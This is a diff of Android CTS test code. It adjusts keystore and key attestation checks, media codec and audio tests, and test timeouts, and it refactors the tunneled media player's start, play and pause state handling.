@@ -2113,7 +2113,7 @@ public class AndroidKeyStoreTest {
Signature.getInstance("NONEwithECDSA").initVerify(publicKey);
}
- private static final int MIN_SUPPORTED_KEY_COUNT = 1500;
+ private static final int MIN_SUPPORTED_KEY_COUNT = 1200;
private static final Duration LARGE_NUMBER_OF_KEYS_TEST_MAX_DURATION = Duration.ofMinutes(4);
private static final Duration LARGE_NUMBER_OF_KEYS_TEST_MAX_DURATION_WATCH
= Duration.ofMinutes(6);
diff --git a/tests/tests/keystore/src/android/keystore/cts/KeyAttestationTest.java b/tests/tests/keystore/src/android/keystore/cts/KeyAttestationTest.java
index ae87bdc7d91..043b5de11cd 100644
--- a/tests/tests/keystore/src/android/keystore/cts/KeyAttestationTest.java
+++ b/tests/tests/keystore/src/android/keystore/cts/KeyAttestationTest.java
@@ -1104,7 +1104,10 @@ public class KeyAttestationTest {
boolean requireCreationDateTime =
attestation.getKeymasterVersion() >= Attestation.KM_VERSION_KEYMINT_1;
- if (requireCreationDateTime || creationDateTime != null) {
+ // b/232078430: skip time checks in Android T due to unfixed bug.
+ boolean doTimeChecks = false;
+
+ if (doTimeChecks && (requireCreationDateTime || creationDateTime != null)) {
assertNotNull(creationDateTime);
assertTrue("Test start time (" + startTime.getTime() + ") and key creation time (" +
@@ -1489,6 +1492,7 @@ public class KeyAttestationTest {
public static void verifyCertificateChain(Certificate[] certChain, boolean expectStrongBox)
throws GeneralSecurityException {
assertNotNull(certChain);
+ boolean strongBoxSubjectFound = false;
for (int i = 1; i < certChain.length; ++i) {
try {
PublicKey pubKey = certChain[i].getPublicKey();
@@ -1515,19 +1519,19 @@ public class KeyAttestationTest {
if (i == 1) {
// First cert should have subject "CN=Android Keystore Key".
assertEquals(signedCertSubject, new X500Name("CN=Android Keystore Key"));
- } else {
- // Only strongbox implementations should have strongbox in the subject line
- assertEquals(expectStrongBox, signedCertSubject.toString()
- .toLowerCase()
- .contains("strongbox"));
+ } else if (signedCertSubject.toString().toLowerCase().contains("strongbox")) {
+ strongBoxSubjectFound = true;
}
} catch (InvalidKeyException | CertificateException | NoSuchAlgorithmException
| NoSuchProviderException | SignatureException e) {
throw new GeneralSecurityException("Using StrongBox: " + expectStrongBox + "\n"
- + "Failed to verify certificate "
- + certChain[i - 1] + " with public key " + certChain[i].getPublicKey(), e);
+ + "Failed to verify certificate " + certChain[i - 1]
+ + " with public key " + certChain[i].getPublicKey(),
+ e);
}
}
+ // At least one intermediate in a StrongBox chain must have "strongbox" in the subject.
+ assertEquals(expectStrongBox, strongBoxSubjectFound);
}
private void testDeviceIdAttestationFailure(int idType,
diff --git a/tests/tests/media/audio/AndroidTest.xml b/tests/tests/media/audio/AndroidTest.xml
index 53265befc6a..26210bd4dd2 100644
--- a/tests/tests/media/audio/AndroidTest.xml
+++ b/tests/tests/media/audio/AndroidTest.xml
@@ -35,8 +35,8 @@
<option name="package" value="android.media.audio.cts" />
<!-- setup can be expensive so limit the number of shards -->
<option name="ajur-max-shard" value="5" />
- <!-- test-timeout unit is ms, value = 25 min -->
- <option name="test-timeout" value="1500000" />
+ <!-- test-timeout unit is ms, value = 240 min -->
+ <option name="test-timeout" value="14400000" />
<option name="runtime-hint" value="1h" />
<option name="exclude-annotation" value="org.junit.Ignore" />
<option name="hidden-api-checks" value="false" />
diff --git a/tests/tests/media/audio/src/android/media/audio/cts/DirectAudioProfilesForAttributesTest.kt b/tests/tests/media/audio/src/android/media/audio/cts/DirectAudioProfilesForAttributesTest.kt
index 04cbf70846f..f6548a253ac 100644
--- a/tests/tests/media/audio/src/android/media/audio/cts/DirectAudioProfilesForAttributesTest.kt
+++ b/tests/tests/media/audio/src/android/media/audio/cts/DirectAudioProfilesForAttributesTest.kt
@@ -57,11 +57,7 @@ class DirectAudioProfilesForAttributesTest {
val audioAttributes = AudioAttributes.Builder()
.setUsage(usage)
.build()
- val allProfilesForAttributes =
- audioManager.getAudioDevicesForAttributes(audioAttributes).map { it.audioProfiles }
- .flatten()
val directProfiles = audioManager.getDirectProfilesForAttributes(audioAttributes)
- val nonDirectProfiles = allProfilesForAttributes.subtractAll(directProfiles)
// All compressed format (non pcm) profiles can create direct AudioTracks.
// getDirectProfilesForAttributes does not include profiles supporting
@@ -71,13 +67,6 @@ class DirectAudioProfilesForAttributesTest {
for (directProfile in compressedProfiles) {
checkCreateAudioTracks(audioAttributes, directProfile, true)
}
-
- // Any other available but not returned compressed format profile
- // can't create any direct AudioTrack
- val otherCompressedProfiles = nonDirectProfiles.filterOutPcmFormats()
- for (nonDirectProfile in otherCompressedProfiles) {
- checkCreateAudioTracks(audioAttributes, nonDirectProfile, false)
- }
}
}
@@ -101,7 +90,7 @@ class DirectAudioProfilesForAttributesTest {
.build()
.release()
// allow a short time to free the AudioTrack resources
- Thread.sleep(150)
+ Thread.sleep(100)
if (!expectedCreationSuccess) {
fail(
"Created AudioTrack for attributes ($audioAttributes) and " +
@@ -120,13 +109,6 @@ class DirectAudioProfilesForAttributesTest {
}
// Utils
- private fun AudioProfile.isSame(profile: AudioProfile) =
- format == profile.format &&
- encapsulationType == profile.encapsulationType &&
- sampleRates.contentEquals(profile.sampleRates) &&
- channelMasks.contentEquals(profile.channelMasks) &&
- channelIndexMasks.contentEquals(profile.channelIndexMasks)
-
private fun AudioProfile.getAllAudioFormats() =
sampleRates.map { sampleRate ->
channelMasks.map { channelMask ->
@@ -146,12 +128,6 @@ class DirectAudioProfilesForAttributesTest {
)
}.flatten()
- private fun List<AudioProfile>.subtractAll(elements: List<AudioProfile>) =
- filter { profile -> elements.none { it.isSame(profile) } }
-
- private fun List<AudioProfile>.includesAll(elements: List<AudioProfile>) =
- elements.all { profile -> this@includesAll.any { it.isSame(profile) } }
-
private fun List<AudioProfile>.filterOutPcmFormats() = filter { it.format !in pcmFormats }
companion object {
diff --git a/tests/tests/media/audio/src/android/media/audio/cts/RoutingTest.java b/tests/tests/media/audio/src/android/media/audio/cts/RoutingTest.java
index 848d74c9abb..c273a18fe51 100644
--- a/tests/tests/media/audio/src/android/media/audio/cts/RoutingTest.java
+++ b/tests/tests/media/audio/src/android/media/audio/cts/RoutingTest.java
@@ -808,7 +808,7 @@ public class RoutingTest extends AndroidTestCase {
}
private MediaRecorder allocMediaRecorder() throws Exception {
- final String outputPath = new File(Environment.getExternalStorageDirectory(),
+ final String outputPath = new File(mContext.getExternalFilesDir(null),
"record.out").getAbsolutePath();
mOutFile = new File(outputPath);
MediaRecorder mediaRecorder = new MediaRecorder();
diff --git a/tests/tests/media/codec/AndroidTest.xml b/tests/tests/media/codec/AndroidTest.xml
index ce2b7edbff1..a2f5d2b4ea1 100644
--- a/tests/tests/media/codec/AndroidTest.xml
+++ b/tests/tests/media/codec/AndroidTest.xml
@@ -33,6 +33,11 @@
<option name="dynamic-config-name" value="CtsMediaCodecTestCases" />
<option name="version" value="1.0"/>
</target_preparer>
+ <target_preparer class="com.android.compatibility.common.tradefed.targetprep.DynamicConfigPusher">
+ <option name="target" value="device" />
+ <option name="config-filename" value="CtsMediaCodecTestCases" />
+ <option name="version" value="7.0"/>
+ </target_preparer>
<target_preparer class="com.android.compatibility.common.tradefed.targetprep.MediaPreparer">
<option name="push-all" value="true" />
<option name="media-folder-name" value="CtsMediaCodecTestCases-1.0" />
@@ -42,11 +47,6 @@
<option name="cleanup-apks" value="true" />
<option name="test-file-name" value="CtsMediaCodecTestCases.apk" />
</target_preparer>
- <target_preparer class="com.android.compatibility.common.tradefed.targetprep.DynamicConfigPusher">
- <option name="target" value="device" />
- <option name="config-filename" value="CtsMediaCodecTestCases" />
- <option name="version" value="7.0"/>
- </target_preparer>
<test class="com.android.tradefed.testtype.AndroidJUnitTest" >
<option name="package" value="android.media.codec.cts" />
<!-- setup can be expensive so limit the number of shards -->
diff --git a/tests/tests/media/codec/src/android/media/codec/cts/ExtractDecodeEditEncodeMuxTest.java b/tests/tests/media/codec/src/android/media/codec/cts/ExtractDecodeEditEncodeMuxTest.java
index b2fbc6c625b..8acbbdd8621 100644
--- a/tests/tests/media/codec/src/android/media/codec/cts/ExtractDecodeEditEncodeMuxTest.java
+++ b/tests/tests/media/codec/src/android/media/codec/cts/ExtractDecodeEditEncodeMuxTest.java
@@ -42,6 +42,8 @@ import android.media.MediaCodecInfo;
import android.media.MediaCodecInfo.CodecCapabilities;
import android.media.MediaCodecInfo.CodecProfileLevel;
+import com.android.compatibility.common.util.CddTest;
+
import java.io.File;
import java.io.FileNotFoundException;
import java.io.IOException;
@@ -130,38 +132,43 @@ public class ExtractDecodeEditEncodeMuxTest
super(MediaStubActivity.class);
}
+ @CddTest(requirements = {"5.2", "5.3"})
public void testExtractDecodeEditEncodeMuxQCIF() throws Throwable {
if(!setSize(176, 144)) return;
setSource("video_480x360_mp4_h264_500kbps_30fps_aac_stereo_128kbps_44100hz.mp4");
setCopyVideo();
- setVideoMimeType(MediaFormat.MIMETYPE_VIDEO_AVC);
+ setOutputVideoMimeType(MediaFormat.MIMETYPE_VIDEO_AVC);
TestWrapper.runTest(this);
}
+ @CddTest(requirements = {"5.2", "5.3"})
public void testExtractDecodeEditEncodeMuxQVGA() throws Throwable {
if(!setSize(320, 240)) return;
setSource("video_480x360_mp4_h264_500kbps_30fps_aac_stereo_128kbps_44100hz.mp4");
setCopyVideo();
- setVideoMimeType(MediaFormat.MIMETYPE_VIDEO_AVC);
+ setOutputVideoMimeType(MediaFormat.MIMETYPE_VIDEO_AVC);
TestWrapper.runTest(this);
}
+ @CddTest(requirements = {"5.2", "5.3"})
public void testExtractDecodeEditEncodeMux720p() throws Throwable {
if(!setSize(1280, 720)) return;
setSource("video_480x360_mp4_h264_500kbps_30fps_aac_stereo_128kbps_44100hz.mp4");
setCopyVideo();
- setVideoMimeType(MediaFormat.MIMETYPE_VIDEO_AVC);
+ setOutputVideoMimeType(MediaFormat.MIMETYPE_VIDEO_AVC);
TestWrapper.runTest(this);
}
+ @CddTest(requirements = {"5.2", "5.3"})
public void testExtractDecodeEditEncodeMux2160pHevc() throws Throwable {
if(!setSize(3840, 2160)) return;
setSource("video_480x360_mp4_h264_500kbps_30fps_aac_stereo_128kbps_44100hz.mp4");
setCopyVideo();
- setVideoMimeType(MediaFormat.MIMETYPE_VIDEO_HEVC);
+ setOutputVideoMimeType(MediaFormat.MIMETYPE_VIDEO_HEVC);
TestWrapper.runTest(this);
}
+ @CddTest(requirements = {"5.1.1", "5.1.2"})
public void testExtractDecodeEditEncodeMuxAudio() throws Throwable {
if(!setSize(1280, 720)) return;
setSource("video_480x360_mp4_h264_500kbps_30fps_aac_stereo_128kbps_44100hz.mp4");
@@ -170,11 +177,13 @@ public class ExtractDecodeEditEncodeMuxTest
TestWrapper.runTest(this);
}
+ @CddTest(requirements = {"5.1.1", "5.1.2", "5.2", "5.3"})
public void testExtractDecodeEditEncodeMuxAudioVideo() throws Throwable {
if(!setSize(1280, 720)) return;
setSource("video_480x360_mp4_h264_500kbps_30fps_aac_stereo_128kbps_44100hz.mp4");
setCopyAudio();
setCopyVideo();
+ setOutputVideoMimeType(MediaFormat.MIMETYPE_VIDEO_AVC);
setVerifyAudioFormat();
TestWrapper.runTest(this);
}
@@ -289,7 +298,7 @@ public class ExtractDecodeEditEncodeMuxTest
mOutputFile = sb.toString();
}
- private void setVideoMimeType(String mimeType) {
+ private void setOutputVideoMimeType(String mimeType) {
mOutputVideoMimeType = mimeType;
}
@@ -305,44 +314,52 @@ public class ExtractDecodeEditEncodeMuxTest
MediaCodecList mcl = new MediaCodecList(MediaCodecList.REGULAR_CODECS);
- // We avoid the device-specific limitations on width and height by using values
- // that are multiples of 16, which all tested devices seem to be able to handle.
- MediaFormat outputVideoFormat =
- MediaFormat.createVideoFormat(mOutputVideoMimeType, mWidth, mHeight);
-
- // Set some properties. Failing to specify some of these can cause the MediaCodec
- // configure() call to throw an unhelpful exception.
- outputVideoFormat.setInteger(
- MediaFormat.KEY_COLOR_FORMAT, OUTPUT_VIDEO_COLOR_FORMAT);
- outputVideoFormat.setInteger(MediaFormat.KEY_BIT_RATE, OUTPUT_VIDEO_BIT_RATE);
- outputVideoFormat.setInteger(MediaFormat.KEY_FRAME_RATE, OUTPUT_VIDEO_FRAME_RATE);
- outputVideoFormat.setInteger(
- MediaFormat.KEY_I_FRAME_INTERVAL, OUTPUT_VIDEO_IFRAME_INTERVAL);
- if (VERBOSE) Log.d(TAG, "video format: " + outputVideoFormat);
-
- String videoEncoderName = mcl.findEncoderForFormat(outputVideoFormat);
- if (videoEncoderName == null) {
- // Don't fail CTS if they don't have an AVC codec (not here, anyway).
- Log.e(TAG, "Unable to find an appropriate codec for " + outputVideoFormat);
- return;
+ String videoEncoderName = null;
+ MediaFormat outputVideoFormat = null;
+ if (mCopyVideo) {
+ // We avoid the device-specific limitations on width and height by using values
+ // that are multiples of 16, which all tested devices seem to be able to handle.
+ outputVideoFormat =
+ MediaFormat.createVideoFormat(mOutputVideoMimeType, mWidth, mHeight);
+
+ // Set some properties. Failing to specify some of these can cause the MediaCodec
+ // configure() call to throw an unhelpful exception.
+ outputVideoFormat.setInteger(
+ MediaFormat.KEY_COLOR_FORMAT, OUTPUT_VIDEO_COLOR_FORMAT);
+ outputVideoFormat.setInteger(MediaFormat.KEY_BIT_RATE, OUTPUT_VIDEO_BIT_RATE);
+ outputVideoFormat.setInteger(MediaFormat.KEY_FRAME_RATE, OUTPUT_VIDEO_FRAME_RATE);
+ outputVideoFormat.setInteger(
+ MediaFormat.KEY_I_FRAME_INTERVAL, OUTPUT_VIDEO_IFRAME_INTERVAL);
+ if (VERBOSE) Log.d(TAG, "video format: " + outputVideoFormat);
+
+ videoEncoderName = mcl.findEncoderForFormat(outputVideoFormat);
+ if (videoEncoderName == null) {
+ // Don't fail CTS if they don't have an AVC codec (not here, anyway).
+ Log.e(TAG, "Unable to find an appropriate codec for " + outputVideoFormat);
+ return;
+ }
+ if (VERBOSE) Log.d(TAG, "video found codec: " + videoEncoderName);
}
- if (VERBOSE) Log.d(TAG, "video found codec: " + videoEncoderName);
-
- MediaFormat outputAudioFormat =
- MediaFormat.createAudioFormat(
- OUTPUT_AUDIO_MIME_TYPE, OUTPUT_AUDIO_SAMPLE_RATE_HZ,
- OUTPUT_AUDIO_CHANNEL_COUNT);
- outputAudioFormat.setInteger(MediaFormat.KEY_BIT_RATE, OUTPUT_AUDIO_BIT_RATE);
- // TODO: Bug workaround --- uncomment once fixed.
- // outputAudioFormat.setInteger(MediaFormat.KEY_AAC_PROFILE, OUTPUT_AUDIO_AAC_PROFILE);
-
- String audioEncoderName = mcl.findEncoderForFormat(outputAudioFormat);
- if (audioEncoderName == null) {
- // Don't fail CTS if they don't have an AAC codec (not here, anyway).
- Log.e(TAG, "Unable to find an appropriate codec for " + outputAudioFormat);
- return;
+
+ String audioEncoderName = null;
+ MediaFormat outputAudioFormat = null;
+ if (mCopyAudio) {
+ outputAudioFormat =
+ MediaFormat.createAudioFormat(
+ OUTPUT_AUDIO_MIME_TYPE, OUTPUT_AUDIO_SAMPLE_RATE_HZ,
+ OUTPUT_AUDIO_CHANNEL_COUNT);
+ outputAudioFormat.setInteger(MediaFormat.KEY_BIT_RATE, OUTPUT_AUDIO_BIT_RATE);
+ // TODO: Bug workaround --- uncomment once fixed.
+ // outputAudioFormat.setInteger(MediaFormat.KEY_AAC_PROFILE, OUTPUT_AUDIO_AAC_PROFILE);
+
+ audioEncoderName = mcl.findEncoderForFormat(outputAudioFormat);
+ if (audioEncoderName == null) {
+ // Don't fail CTS if they don't have an AAC codec (not here, anyway).
+ Log.e(TAG, "Unable to find an appropriate codec for " + outputAudioFormat);
+ return;
+ }
+ if (VERBOSE) Log.d(TAG, "audio found codec: " + audioEncoderName);
}
- if (VERBOSE) Log.d(TAG, "audio found codec: " + audioEncoderName);
MediaExtractor videoExtractor = null;
MediaExtractor audioExtractor = null;
@@ -863,29 +880,25 @@ public class ExtractDecodeEditEncodeMuxTest
ByteBuffer decoderInputBuffer = audioDecoderInputBuffers[decoderInputBufferIndex];
int size = audioExtractor.readSampleData(decoderInputBuffer, 0);
long presentationTime = audioExtractor.getSampleTime();
+ int flags = audioExtractor.getSampleFlags();
if (VERBOSE) {
Log.d(TAG, "audio extractor: returned buffer of size " + size);
Log.d(TAG, "audio extractor: returned buffer for time " + presentationTime);
}
- if (size >= 0) {
- audioDecoder.queueInputBuffer(
- decoderInputBufferIndex,
- 0,
- size,
- presentationTime,
- audioExtractor.getSampleFlags());
- }
audioExtractorDone = !audioExtractor.advance();
if (audioExtractorDone) {
if (VERBOSE) Log.d(TAG, "audio extractor: EOS");
+ flags = flags | MediaCodec.BUFFER_FLAG_END_OF_STREAM;
+ }
+ if (size >= 0) {
audioDecoder.queueInputBuffer(
decoderInputBufferIndex,
0,
- 0,
- 0,
- MediaCodec.BUFFER_FLAG_END_OF_STREAM);
+ size,
+ presentationTime,
+ flags);
+ audioExtractedFrameCount++;
}
- audioExtractedFrameCount++;
// We extracted a frame, let's try something else next.
break;
}
diff --git a/tests/tests/media/codec/src/android/media/codec/cts/MediaCodecResourceTest.java b/tests/tests/media/codec/src/android/media/codec/cts/MediaCodecResourceTest.java
index 3bd9db68f5a..663ee1a80cd 100644
--- a/tests/tests/media/codec/src/android/media/codec/cts/MediaCodecResourceTest.java
+++ b/tests/tests/media/codec/src/android/media/codec/cts/MediaCodecResourceTest.java
@@ -308,8 +308,8 @@ public class MediaCodecResourceTest {
new IntentFilter(ACTION_LOW_PRIORITY_SERVICE_READY));
Intent intent = new Intent(context, MediaCodecResourceTestLowPriorityService.class);
context.startForegroundService(intent);
- // Starting the service and receiving the broadcast should take less than 1 second
- ProcessInfo processInfo = processInfoBroadcastReceiver.waitForProcessInfoMs(1000);
+ // Starting the service and receiving the broadcast should take less than 5 seconds
+ ProcessInfo processInfo = processInfoBroadcastReceiver.waitForProcessInfoMs(5000);
context.unregisterReceiver(processInfoBroadcastReceiver);
return processInfo;
}
@@ -323,8 +323,8 @@ public class MediaCodecResourceTest {
Intent intent = new Intent(context, MediaCodecResourceTestHighPriorityActivity.class);
intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK | Intent.FLAG_ACTIVITY_CLEAR_TASK);
context.startActivity(intent);
- // Starting the activity and receiving the broadcast should take less than 1 second
- ProcessInfo processInfo = processInfoBroadcastReceiver.waitForProcessInfoMs(1000);
+ // Starting the activity and receiving the broadcast should take less than 5 seconds
+ ProcessInfo processInfo = processInfoBroadcastReceiver.waitForProcessInfoMs(5000);
context.unregisterReceiver(processInfoBroadcastReceiver);
return processInfo;
}
diff --git a/tests/tests/media/codec/src/android/media/codec/cts/MediaCodecTest.java b/tests/tests/media/codec/src/android/media/codec/cts/MediaCodecTest.java
index a7bb37fe152..4294059d0cd 100644
--- a/tests/tests/media/codec/src/android/media/codec/cts/MediaCodecTest.java
+++ b/tests/tests/media/codec/src/android/media/codec/cts/MediaCodecTest.java
@@ -35,14 +35,13 @@ import android.media.MediaCodecInfo.CodecProfileLevel;
import android.media.MediaCodecInfo.EncoderCapabilities;
import android.media.MediaCodecInfo.VideoCapabilities;
import android.media.MediaCodecList;
-import android.media.MediaCrypto;
import android.media.MediaExtractor;
import android.media.MediaFormat;
-import android.media.cts.AudioHelper;
import android.media.cts.InputSurface;
import android.media.cts.OutputSurface;
import android.media.cts.Preconditions;
import android.media.cts.StreamUtils;
+import android.media.cts.TestUtils;
import android.opengl.GLES20;
import android.os.Build;
import android.os.ConditionVariable;
@@ -64,13 +63,9 @@ import androidx.test.filters.SmallTest;
import com.android.compatibility.common.util.ApiLevelUtil;
import com.android.compatibility.common.util.MediaUtils;
-import java.io.BufferedInputStream;
import java.io.File;
import java.io.IOException;
-import java.io.InputStream;
import java.nio.ByteBuffer;
-import java.nio.FloatBuffer;
-import java.nio.ShortBuffer;
import java.util.ArrayList;
import java.util.Arrays;
import java.util.List;
@@ -2429,6 +2424,11 @@ public class MediaCodecTest extends AndroidTestCase {
continue;
}
MediaCodec codec = null;
+ if (!TestUtils.isTestableCodecInCurrentMode(info.getName())) {
+ Log.d(TAG, "skip testing codec " + info.getName() + " in current mode:"
+ + (TestUtils.isMtsMode() ? " MTS" : " CTS"));
+ continue;
+ }
try {
codec = MediaCodec.createByCodecName(info.getName());
List<String> vendorParams = codec.getSupportedVendorParameters();
diff --git a/tests/tests/media/common/src/android/media/cts/CodecState.java b/tests/tests/media/common/src/android/media/cts/CodecState.java
index 13e56f85b59..4aa9db47312 100644
--- a/tests/tests/media/common/src/android/media/cts/CodecState.java
+++ b/tests/tests/media/common/src/android/media/cts/CodecState.java
@@ -169,13 +169,15 @@ public class CodecState {
}
}
- public void start() {
+ public void startCodec() {
mCodec.start();
mCodecInputBuffers = mCodec.getInputBuffers();
if (!mIsTunneled || mIsAudio) {
mCodecOutputBuffers = mCodec.getOutputBuffers();
}
+ }
+ public void play() {
if (mAudioTrack != null) {
mAudioTrack.play();
}
@@ -358,7 +360,7 @@ public class CodecState {
return null;
}
- if (mIsTunneled && !mIsAudio) {
+ if (mIsTunneled) {
if (mFirstSampleTimeUs == -1) {
mFirstSampleTimeUs = sampleTime;
}
diff --git a/tests/tests/media/common/src/android/media/cts/MediaCodecClearKeyPlayer.java b/tests/tests/media/common/src/android/media/cts/MediaCodecClearKeyPlayer.java
index 5e4df7f6c08..888cf235560 100644
--- a/tests/tests/media/common/src/android/media/cts/MediaCodecClearKeyPlayer.java
+++ b/tests/tests/media/common/src/android/media/cts/MediaCodecClearKeyPlayer.java
@@ -487,11 +487,13 @@ public class MediaCodecClearKeyPlayer implements MediaTimeProvider {
}
for (CodecState state : mVideoCodecStates.values()) {
- state.start();
+ state.startCodec();
+ state.play();
}
for (CodecState state : mAudioCodecStates.values()) {
- state.start();
+ state.startCodec();
+ state.play();
}
mDeltaTimeUs = -1;
diff --git a/tests/tests/media/common/src/android/media/cts/MediaCodecTunneledPlayer.java b/tests/tests/media/common/src/android/media/cts/MediaCodecTunneledPlayer.java
index 0b495dd8fd9..879f561af6e 100644
--- a/tests/tests/media/common/src/android/media/cts/MediaCodecTunneledPlayer.java
+++ b/tests/tests/media/common/src/android/media/cts/MediaCodecTunneledPlayer.java
@@ -44,11 +44,13 @@ public class MediaCodecTunneledPlayer implements MediaTimeProvider {
/** State the player starts in, before configuration. */
private static final int STATE_IDLE = 1;
/** State of the player during initial configuration. */
- private static final int STATE_PREPARING = 2;
+ private static final int STATE_PREPARED = 2;
+ /** State of the player after starting the codecs */
+ private static final int STATE_STARTED = 3;
/** State of the player during playback. */
- private static final int STATE_PLAYING = 3;
- /** State of the player when configured but not playing. */
- private static final int STATE_PAUSED = 4;
+ private static final int STATE_PLAYING = 4;
+ /** State of the player when playback is paused. */
+ private static final int STATE_PAUSED = 5;
private Boolean mThreadStarted = false;
private byte[] mSessionId;
@@ -194,7 +196,12 @@ public class MediaCodecTunneledPlayer implements MediaTimeProvider {
return true;
}
+ // Creates the extractors, identifies tracks and formats, and then calls MediaCodec.configure
public boolean prepare() throws IOException {
+ if (mState != STATE_IDLE) {
+ throw new IllegalStateException("Expected STATE_IDLE, got " + mState);
+ }
+
if (null == mAudioExtractor) {
mAudioExtractor = new MediaExtractor();
if (null == mAudioExtractor) {
@@ -237,9 +244,7 @@ public class MediaCodecTunneledPlayer implements MediaTimeProvider {
return false;
}
- synchronized (mState) {
- mState = STATE_PAUSED;
- }
+ mState = STATE_PREPARED;
return true;
}
@@ -306,70 +311,56 @@ public class MediaCodecTunneledPlayer implements MediaTimeProvider {
return format.containsKey(key) ? format.getInteger(key) : 0;
}
- public boolean start() {
+ // Calls MediaCodec.start
+ public void startCodec() {
Log.d(TAG, "start");
- synchronized (mState) {
- if (mState == STATE_PLAYING || mState == STATE_PREPARING) {
- return true;
- } else if (mState == STATE_IDLE) {
- mState = STATE_PREPARING;
- return true;
- } else if (mState != STATE_PAUSED) {
- throw new IllegalStateException("Expected STATE_PAUSED, got " + mState);
- }
-
- for (CodecState state : mVideoCodecStates.values()) {
- state.start();
- }
+ if (mState != STATE_PREPARED) {
+ throw new IllegalStateException("Expected STATE_PREAPRED, got " + mState);
+ }
- for (CodecState state : mAudioCodecStates.values()) {
- state.start();
- }
+ for (CodecState state : mVideoCodecStates.values()) {
+ state.startCodec();
+ }
- mDeltaTimeUs = -1;
- mState = STATE_PLAYING;
+ for (CodecState state : mAudioCodecStates.values()) {
+ state.startCodec();
}
- return false;
+
+ mDeltaTimeUs = -1;
+ mState = STATE_STARTED;
}
- public void startWork() throws IOException, Exception {
- try {
- // Just change state from STATE_IDLE to STATE_PREPARING.
- start();
- // Extract media information from uri asset, and change state to STATE_PAUSED.
- prepare();
- // Start CodecState, and change from STATE_PAUSED to STATE_PLAYING.
- start();
- } catch (IOException e) {
- throw e;
+ // Starts the decoding threads and then starts AudioTrack playback
+ public void play() {
+ if (mState != STATE_STARTED) {
+ throw new IllegalStateException("Expected STATE_STARTED, got " + mState);
}
+ mState = STATE_PLAYING;
synchronized (mThreadStarted) {
mThreadStarted = true;
mThread.start();
}
- }
- public void startThread() {
- start();
- synchronized (mThreadStarted) {
- mThreadStarted = true;
- mThread.start();
+ for (CodecState state : mVideoCodecStates.values()) {
+ state.play();
+ }
+
+ for (CodecState state : mAudioCodecStates.values()) {
+ state.play();
}
}
- // Pauses the audio track
+ // Pauses playback by pausing the AudioTrack
public void pause() {
Log.d(TAG, "pause");
- synchronized (mState) {
- if (mState == STATE_PAUSED) {
- return;
- } else if (mState != STATE_PLAYING) {
- throw new IllegalStateException();
- }
+ if (mState != STATE_PLAYING) {
+ throw new IllegalStateException("Expected STATE_PLAYING, got " + mState);
+ }
+ synchronized (mState) {
for (CodecState state : mVideoCodecStates.values()) {
state.pause();
}
@@ -382,43 +373,60 @@ public class MediaCodecTunneledPlayer implements MediaTimeProvider {
}
}
- public void flush() {
- Log.d(TAG, "flush");
+ // Resume playback when paused
+ public void resume() {
+ Log.d(TAG, "resume");
+
+ if (mState != STATE_PAUSED) {
+ throw new IllegalStateException("Expected STATE_PAUSED, got " + mState);
+ }
synchronized (mState) {
- if (mState == STATE_PLAYING || mState == STATE_PREPARING) {
- return;
+ for (CodecState state : mVideoCodecStates.values()) {
+ state.play();
}
for (CodecState state : mAudioCodecStates.values()) {
- state.flush();
+ state.play();
}
- for (CodecState state : mVideoCodecStates.values()) {
- state.flush();
- }
+ mState = STATE_PLAYING;
}
}
- /** Seek all tracks to their very beginning.
+ public void flush() {
+ Log.d(TAG, "flush");
+
+ if (mState != STATE_PAUSED) {
+ throw new IllegalStateException("Expected STATE_PAUSED, got " + mState);
+ }
+
+ for (CodecState state : mAudioCodecStates.values()) {
+ state.flush();
+ }
+
+ for (CodecState state : mVideoCodecStates.values()) {
+ state.flush();
+ }
+ }
+
+ /** Seek all tracks to the first sample time.
*
* @param presentationTimeOffsetUs The offset for the presentation time to start at.
* @throws IllegalStateException if the player is not paused
*/
public void seekToBeginning(long presentationTimeOffsetUs) {
Log.d(TAG, "seekToBeginning");
- synchronized (mState) {
- if (mState != STATE_PAUSED) {
- throw new IllegalStateException("Expected STATE_PAUSED, got " + mState);
- }
+ if (mState != STATE_PAUSED) {
+ throw new IllegalStateException("Expected STATE_PAUSED, got " + mState);
+ }
- for (CodecState state : mVideoCodecStates.values()) {
- state.seekToBeginning(presentationTimeOffsetUs);
- }
+ for (CodecState state : mVideoCodecStates.values()) {
+ state.seekToBeginning(presentationTimeOffsetUs);
+ }
- for (CodecState state : mAudioCodecStates.values()) {
- state.seekToBeginning(presentationTimeOffsetUs);
- }
+ for (CodecState state : mAudioCodecStates.values()) {
+ state.seekToBeginning(presentationTimeOffsetUs);
}
}
@@ -426,53 +434,50 @@ public class MediaCodecTunneledPlayer implements MediaTimeProvider {
* Enables or disables looping. Should be called after {@link #prepare()}.
*/
public void setLoopEnabled(boolean enabled) {
- synchronized (mState) {
- if (mVideoCodecStates != null) {
- for (CodecState state : mVideoCodecStates.values()) {
- state.setLoopEnabled(enabled);
- }
- }
+ if (mState != STATE_PREPARED) {
+ throw new IllegalStateException("Expected STATE_PREPARED, got " + mState);
+ }
- if (mAudioCodecStates != null) {
- for (CodecState state : mAudioCodecStates.values()) {
- state.setLoopEnabled(enabled);
- }
- }
+ for (CodecState state : mVideoCodecStates.values()) {
+ state.setLoopEnabled(enabled);
+ }
+
+ for (CodecState state : mAudioCodecStates.values()) {
+ state.setLoopEnabled(enabled);
}
}
public void reset() {
- synchronized (mState) {
- if (mState == STATE_PLAYING) {
- pause();
- }
- if (mVideoCodecStates != null) {
- for (CodecState state : mVideoCodecStates.values()) {
- state.release();
- }
- mVideoCodecStates = null;
- }
-
- if (mAudioCodecStates != null) {
- for (CodecState state : mAudioCodecStates.values()) {
- state.release();
- }
- mAudioCodecStates = null;
+ if (mState == STATE_PLAYING) {
+ pause();
+ }
+ if (mVideoCodecStates != null) {
+ for (CodecState state : mVideoCodecStates.values()) {
+ state.release();
}
+ mVideoCodecStates = null;
+ }
- if (mAudioExtractor != null) {
- mAudioExtractor.release();
- mAudioExtractor = null;
+ if (mAudioCodecStates != null) {
+ for (CodecState state : mAudioCodecStates.values()) {
+ state.release();
}
+ mAudioCodecStates = null;
+ }
- if (mVideoExtractor != null) {
- mVideoExtractor.release();
- mVideoExtractor = null;
- }
+ if (mAudioExtractor != null) {
+ mAudioExtractor.release();
+ mAudioExtractor = null;
+ }
- mDurationUs = -1;
- mState = STATE_IDLE;
+ if (mVideoExtractor != null) {
+ mVideoExtractor.release();
+ mVideoExtractor = null;
}
+
+ mDurationUs = -1;
+ mState = STATE_IDLE;
+
synchronized (mThreadStarted) {
mThreadStarted = false;
}
@@ -607,6 +612,14 @@ public class MediaCodecTunneledPlayer implements MediaTimeProvider {
